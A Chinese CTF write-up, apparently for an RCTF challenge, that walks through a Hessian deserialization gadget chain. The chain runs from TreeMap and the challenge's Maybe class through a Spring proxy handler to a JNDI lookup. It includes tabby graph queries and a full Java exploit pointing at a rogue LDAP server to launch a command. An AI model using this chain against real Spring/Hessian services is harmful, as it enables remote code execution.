记录一下这条链子,hessian反序列化入口很直接

定义了白名单,只能反序列化白名单中的类

org.springframework.jndi. 这个白名单对应的sink点是org.springframework.jndi.support.SimpleJndiBeanFactory.lookup() 这个jndi,lookup方法是由这个类中的getBean 方法触发,怎么把这条链子连起来就和hessian反序列化的特点有关了,这里贴个图,文章总结的很好

触发put方法的细节这里就不跟了,在TreeMap的put方法中可调用任意的compareTo 方法

然后题目自己实现了一个Maybe 类且继承了Comparable 接口,所以这里就可以连起来

然后该类的compareTo 方法中进行了动态代理调用invoke,所以需要找一个在白名单且能够触发到getBean方法的代理类,用tabby跑一下可以跑出来

// 1. 限定 source 节点:匹配白名单 或 匹配代理类中的 invoke 方法
match (source:Method)
where 
    // 条件 A: 原始白名单包匹配
    (source.CLASSNAME STARTS WITH "com.rctf.server.tool."
       OR source.CLASSNAME STARTS WITH "java.util."
       OR source.CLASSNAME STARTS WITH "org.apache.commons.logging."
       OR source.CLASSNAME STARTS WITH "org.springframework.beans."
       OR source.CLASSNAME STARTS WITH "org.springframework.jndi.")
    
    // OR 条件 B: 匹配常见的代理类方法
    OR (
        source.NAME = "invoke" // 代理方法通常是 invoke
    )

// 2. 限定 sink 节点(保持放宽后的限制,更容易找到路径)
match (sink:Method {NAME:"getBean"})

// 3. 增加路径深度
call apoc.algo.allSimplePaths(source, sink, "CALL>|ALIAS>", 5) 
 yield path 

// 4. 返回结果
return path limit 5

或者下面这样去个or条件也行

// 1. 限定 source 节点:匹配白名单 或 匹配代理类中的 invoke 方法
match (source:Method)
where 
    // 条件 A: 原始白名单包匹配
    (source.CLASSNAME STARTS WITH "com.rctf.server.tool."
       OR source.CLASSNAME STARTS WITH "java.util."
       OR source.CLASSNAME STARTS WITH "org.apache.commons.logging."
       OR source.CLASSNAME STARTS WITH "org.springframework.beans."
       OR source.CLASSNAME STARTS WITH "org.springframework.jndi.")

// 2. 限定 sink 节点(保持放宽后的限制,更容易找到路径)
match (sink:Method {NAME:"getBean"})

// 3. 增加路径深度
call apoc.algo.allSimplePaths(source, sink, "CALL>|ALIAS>", 5) 
 yield path 

// 4. 返回结果
return path limit 5

完整的链路,然后对着写payload即可,当然这里要对动态代理比较熟,不然tabby跑出来了也看不出来,这里复现当学习了,然后根据这个写链子即可

package com.rctf.server;

import com.caucho.hessian.io.Hessian2Output;
import com.rctf.server.tool.HessianFactory;
import com.rctf.server.tool.Maybe;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean;
import org.springframework.jndi.support.SimpleJndiBeanFactory;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.TreeMap;

public class Exp {
    public static void main(String[] args) throws Exception {
        String jndiUrl = "ldap://127.0.0.1:1389/Basic/Command/open -a Calculator";

        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();

        Class<?> tboFactoryClass = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
        Constructor<?> tboFactoryConstructor = tboFactoryClass.getDeclaredConstructor(BeanFactory.class, String.class);
        tboFactoryConstructor.setAccessible(true);
        ObjectFactory<?> objectFactory = (ObjectFactory<?>) tboFactoryConstructor.newInstance(simpleJndiBeanFactory, jndiUrl);

        Class<?> ofdihClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> ofdihConstructor = ofdihClass.getDeclaredConstructor(ObjectFactory.class);
        ofdihConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ofdihConstructor.newInstance(objectFactory);

        Maybe maybe = new Maybe(handler);
//        maybe.compareTo(null);

        TreeMap treeMap = buildEvilTreeMap(maybe,maybe);

//        treeMap.put(maybe,"aaa");
//        treeMap.put(maybe,"bbb");

        String serialize = HessianFactory.serialize(treeMap);
        System.out.println(serialize);

        Object obj = HessianFactory.deserialize(serialize);
    }
    private static TreeMap buildEvilTreeMap(Object evilKey, Object evilValue) throws Exception {
        TreeMap<Object, Object> treeMap = new TreeMap<>();

        Class<?> nodeClass = Class.forName("java.util.TreeMap$Entry");
        Constructor<?> nodeCons = nodeClass.getDeclaredConstructor(
                Object.class, Object.class, nodeClass
        );
        nodeCons.setAccessible(true);

        // 构造一个节点:key = evilKey,value = evilValue
        Object root = nodeCons.newInstance(evilKey, evilValue, null);

        // 反射写入 TreeMap 的字段
        Field rootField = TreeMap.class.getDeclaredField("root");
        rootField.setAccessible(true);
        rootField.set(treeMap, root);

        Field sizeField = TreeMap.class.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.set(treeMap, 1);

        Field modCountField = TreeMap.class.getDeclaredField("modCount");
        modCountField.setAccessible(true);
        modCountField.set(treeMap, 1);

        return treeMap;
    }

}

map防止本地触发封装原理

gpt一键生成,然后高版本jdk用Jackson可以绕

参考

https://blog.csdn.net/uuzeray/article/details/155031886

https://mp.weixin.qq.com/s/_y0dumpXKv1xGdN_jEH3Mw

https://z3r4y.blog.csdn.net/article/details/136621706

https://mp.weixin.qq.com/s/NJllOlTmJgOJpsr1Qq9pNw